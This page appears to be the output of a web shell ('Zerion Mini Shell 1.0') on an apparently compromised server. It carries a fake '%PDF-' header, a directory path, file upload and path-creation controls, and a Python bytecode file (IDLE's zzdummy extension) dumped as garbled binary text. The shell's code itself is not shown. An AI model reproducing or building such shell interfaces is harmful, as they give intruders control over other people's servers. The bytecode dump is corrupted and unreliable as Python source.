%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/idlelib/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/idlelib/__pycache__/zzdummy.cpython-38.pyc

U

qa@s^dZddlmZddlmZddZGdddZeedkrZdd	l	Z	e	j
d
ddd
d	S)zExample extension, also used for testing.

See extend.txt for more details on creating an extension.
See config-extension.def for configuring an extension.
)idleConfwrapscstdfdd	}|S)z9Apply a formatting function to all of the selected lines.NcsT|j\}}}}tt|dD]}||}||||<q"|j||||dS)Nbreak)	formatterZ
get_regionrangelenZ
set_region)selfeventheadtailcharslinesposlineformat_line+/usr/local/lib/python3.8/idlelib/zzdummy.pyapplyszformat_selection.<locals>.apply)Nr)rrrrrformat_selectionsrc@sJeZdZdZdddgfgZddZeddZed	d
Z	eddZ
d
S)ZzDummyz3Prepend or remove initial text from selected lines.format)zZ inz<<z-in>>)zZ outz	<<z-out>>cCs||_|j|_|j|_dS)z+Initialize the settings for this extension.N)editwintextZfregionr)r
rrrr__init__%szZzDummy.__init__cCstddd|_dS)z!Load class variables from config.
extensionsrzz-textN)rZ	GetOptionztext)clsrrrreload+szZzDummy.reloadcCs|j|S)zInsert text at the beginning of each selected line.

        This is bound to the <<z-in>> virtual event when the extensions
        are loaded.
        )r)r
rrrr
z_in_event0szZzDummy.z_in_eventcCs&||jsdnt|j}||dS)zRemove specific text from the beginning of each selected line.

        This is bound to the <<z-out>> virtual event when the extensions
        are loaded.
        rN)
startswithrr	)r
rZzlengthrrrz_out_event9szZzDummy.z_out_eventN)__name__
__module____qualname____doc__Zmenudefsrclassmethodr rr!r#rrrrrs

r__main__Nzidlelib.idle_test.test_zzdummyF)	verbosityexit)r'Zidlelib.configr	functoolsrrrr r$Zunittestmainrrrr<module>s*

Zerion Mini Shell 1.0